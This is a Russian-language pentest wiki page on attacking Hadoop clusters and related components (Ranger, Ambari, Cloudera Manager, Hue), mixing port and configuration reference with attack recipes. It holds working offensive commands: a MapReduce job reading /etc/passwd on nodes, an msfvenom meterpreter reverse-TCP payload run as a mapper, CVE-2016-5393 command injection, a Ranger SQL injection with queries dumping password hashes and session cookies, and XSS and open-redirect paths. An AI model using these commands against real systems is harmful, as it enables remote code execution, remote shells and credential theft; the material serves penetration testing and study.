Hadoop — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (TaskTracker WebUI)
м (Admin service)
 
(не показаны 2 промежуточные версии этого же участника)
Строка 96: Строка 96:
  
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flum*" АДРЕСА
+
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flume*" АДРЕСА
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 553: Строка 553:
  
  
=== Admin service ==
+
=== Admin service ===
  
 
Порт: 11001
 
Порт: 11001

Текущая версия на 11:57, 16 сентября 2022

Содержание

Общее

Получение конфига

Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.

Сервисы

WebUI

Для этого требуется перейти на один из следующих веб серверов на страницу /conf:

  • HDFS WebUI (много потов)
  • JobHistory (19888, 19890) - в приоритете
  • ResourceManager (8088, 8090)

. . .

Уязвимости

Иногда конфиг можно скачать используя уязвимости ПО.

Cloudera Manager

Конфиг будет доступен по следующему адресу:

http://<cloudera_mgr_ip>:7180/cmf/services/<service_id_to_iterate>/client-config

service_id_to_iterate - можно получить перебором 0-100(или больше).

Автоматически

HadoopSnooper

https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py

Позволяет скачать файлы конфига:

python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020


Аутентификация

По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.

Шифрование

По-умолчанию отключено для передачи (in-transit) и хранения (at-rest).

NameNode

Для общения с NameNode могут быть использованы следующие механизмы аутентификации:

- GSS-API

- Digest-MD5

Web Apps

Как правило, используется SSL/TLS.


DataNodes

Шифрование может быть на 2 уровнях:

1. обмен ключами используя 3DES или RC4

2. Шифрование используя AES 128(default)/192/256.

At-rest

Означает хранилище файлов. Если кратко:

  • Данные шифруются DEK-ключем (Data Encryption Key)
  • DEK зашифрован ключем EZ (Encryption Zone) -> EDEK (Encrypted Data Encryption Key)


Обратный процесс:

  • EDEK запрашивается у NameNode
  • Запрашиваем KMS расшифровать EDEK - получаем DEK
  • Расшифровываем или зашифровываем данные с DEK.


Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.

Поиск сервисов

nmap

nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flume*" АДРЕСА

Общие атаки

Node RCE

Для этого требуется получить конфиг и настроить hadoop cli.

path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar

Создаем задачу MapReduce:

 hadoop jar <path_to_hadoop_streaming.jar> \
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "/bin/cat /etc/passwd" \
-reducer NONE

Читаем результат команды:

hadoop fs –ls /output_directory_on_HDFS
hadoop fs –cat /output_directory_on_HDFS/part-00000

Также результат команды можно увидеть в WebUI в консоли созданной задачи.

Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.


Бонус: эксплоит можно сгенерировать с msfvenom:

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload

hadoop jar <path_to_hadoop_streaming.jar>
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "./msf.payload" \
-reducer NONE \
-file msf.payload \
-background

RCE - CVE-2016-5393

Уязвимая версия: Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3

Требования: должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml)


Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c":

hdfs groups '$(ping 127.0.0.1)'

Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth":

.../?user.name=$(ping+127.0.0.1)


Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user

HDFS

HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.

Сервисы

MasterNode (NameNode) WebUI

Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.

Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).

MasterNode Metadata Service

Использует протокол IPC на портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.

Команды для взаимодействия:

# Получение списка файлов (и их метадаты)
hadoop fs -ls /tmp

DataNode WebUI

Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.

Доступно по пути /browseDirectory.jsp


hdfsbrowser.py

Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :

# В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10

Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.

hadoop cli

Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:

export HADOOP_USER_NAME=hbase
hadoop fs -ls /hbase
hadoop fs –cat /output_directory_on_HDFS/part-00000

Для этого может потребоваться конфиг hadoop (в основной главе)

DataNode Data Transfer

Сервис для передачи данных в DataNode. Использует порт 50010


# Отправить файл на HDFS
hadoop fs -put <localfile> <remotedst>

DataNode Metadata Service

Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.


Secondary Node Checkpoint Service (Secondary NameNode WebUI)

Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).

YARN

Интерфейсы (сервисы)

Application Manager

Порт(tcp): 8032

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.address

Scheduler

Порт(tcp): 8030

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.scheduler.address

ResourceManager Web Application

Порт(tcp): 8088, 8090

Протокол: http(8088), https(8090)

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address

ResourceManager Tracker

Порт(tcp): 8031

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.resource-tracker.address


ResourceManager Admin

Порт(tcp): 8033

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.admin.address

NodeManager СontainerManager

Порт(tcp): 0

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.address

NodeManager Localizer

Порт(tcp): 8040

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.localizer.address

NodeManager Collector Service

Порт(tcp): 8048

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.collector-service.address

NodeManager WebUI

Порт(tcp): 8042, 8044

Протокол: http(8042), https(8044)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address

NodeManager Timeline RPC

Порт(tcp): 10200

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.address

NodeManager Timeline WebUI

Порт(tcp): 8188, 8190

Протокол: http(8188), https(8190)

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address

SharedCacheManager Admin

Порт(tcp): 8047

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.admin.address

SharedCacheManager WebUI

Порт(tcp): 8788

Протокол: ???(http)

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.webapp.address

SharedCacheManager Node Manager

Порт(tcp): 8046

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.uploader.server.address

SharedCacheManager Client

Порт(tcp): 8045

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.sharedcache.client-server.address

NodeManager AMRMProxyService

Порт(tcp): 8049

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.amrmproxy.address

Router WebUI

Порт(tcp): 8089, 8091

Протокол: http(8089), https(8091)

Аутентификация: ???

Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address

HttpFS (Hadoop HDFS over HTTP)

Порт(tcp): 14000, 14001

Протокол: http(14000), 14001(https)

Аутентификация: ???

Apache HBASE

ZooKeeper

Apache Ambari

Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.

Из интересного:

- Все могут авторизоваться (даже стандартные юзеры)

- Нет защиты (directory listing, no cookie flags, no CSRF)

- CVE-2015-1775 - /logs/ логи


Сервисы

WebUI

Общение по протоколу http (порт 8080) и https (порт 8440).

Registration/Heartbeat

Общение по протоколу https на порту 8441.

Agent

Порт 8670/tcp используется для Ping.

Apache Spark

Apache Kafka/Storm

Apache HIVE / DRILL

Mahout

Apache Solr / Lucene

Apache Ranger

Компонент безопасности Hadoop с открытым исходным кодом.

Из интересного:

- Поддержка Kerberos

- REST API

- Журналы аудита

- Модель разрешений на основе политики доступа (политики, юзеры, группы)


Интересные ИБ-проблемы:

- Slow HTTP DOS

- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)

- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий

- CVE-2015-0265 - XSS в UserAgent


TODO: изучить как работает


https://ranger.apache.org/apidocs/index.html - API документация

Сервисы

Admin WebUI

Порт: 6080, 6182

Протокол: http(6180),https(6182)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Уязвимости

  • Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)
/service/plugins/policies/download/<policy_name>

Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download

  • CVE-2016-2174 - SQL injection.
/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1

# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3

# post-exploitation: скачать сессии(куки) пользователей):
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3

Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection

UNIX Auth Service

Порт: 5151

Протокол: SSL/TCP

Параметр конфига: ranger.usersync.port

Ranger KMS

Порт: 9292, 9293

Протокол: http(9292), https(9293)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Solr Audit

Порт: 6083, 6183

Протокол: http(6083), https(6183)

Параметр конфига: ranger-admin (???)

OOZIE

Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.

Сервисы

Web Console

Порт: 11000, 11443

Протокол: HTTP(11000), HTTPS(11443)


Admin service

Порт: 11001

Протокол: ???

PIG

Apache Hue

Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP.

В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.

MapReduce

Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера

Сервисы

Jobhistory

Порт: 10020

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.address

JobTracker

Порт: 8021

Протокол: IPC

Аутентификация: ???

Параметр конфига: mapred.job.tracker


Доступно только в MapReduce v1

JobTracker WebUI v1

Порт: 50030

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.job.tracker.http.address


Доступно только в MapReduce v1

Jobhistory WebUI v2

Порт: 19888, 19890

Протокол: HTTP(19888), HTTPS(19890)

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address

Доступен только в MapReduce v2

Jobhistory Shufflee

Порт: 13562

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.shuffle.port

Jobhistory Shufflee WebUI

Порт: 19890

Протокол: HTTPS

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.https.address


TaskTracker WebUI v1

Порт: 50060

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.task.tracker.http.address



Доступно только в MapReduce v1

History Server WebUI

Порт: 51111

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.history.server.http.address

Cloudera

Экосистема Hadoop от компании Cloudera

Сервисы

HUE

Работает на порту 8888 по протоколу HTTP.

Уязвимости

  • CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):
/desktop/api/users/autocomplete


  • CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.


  • Open redirect (версия меньше или равна 3.9.0).
/accounts/login/?next=//[domain_name]

Manager

Работает на порту 7180(http) и 7183(https).

Уязвимости

  • Получение списка пользователей (версия меньше или равна 5.5)
/api/v1/users


  • Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):
/api/v1/users/sessions


  • Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):
/cmf/process/<process_id>/logs?filename={stderr,stdout}.log


  • CVE-2016-4948 - Stored XSS (версия меньше или равна 5.5)


  • CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):
/cmf/cloudera-director/redirect?classicWizard=[XSS]&clusterid=1

Утилиты

Hadoop Attack Library

https://github.com/wavestone-cdt/hadoop-attack-library

hadoopsnooper.py

https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/


Скрипт для получения конфига hadoop

python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020

hdfsbrowser.py

https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake

Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол

python hdfsbrowser.py 10.10.10.10

Ссылки

Видео

Статьи

Презентации

https://2015.zeronights.org/assets/files/03-Kaluzny.pdf

https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf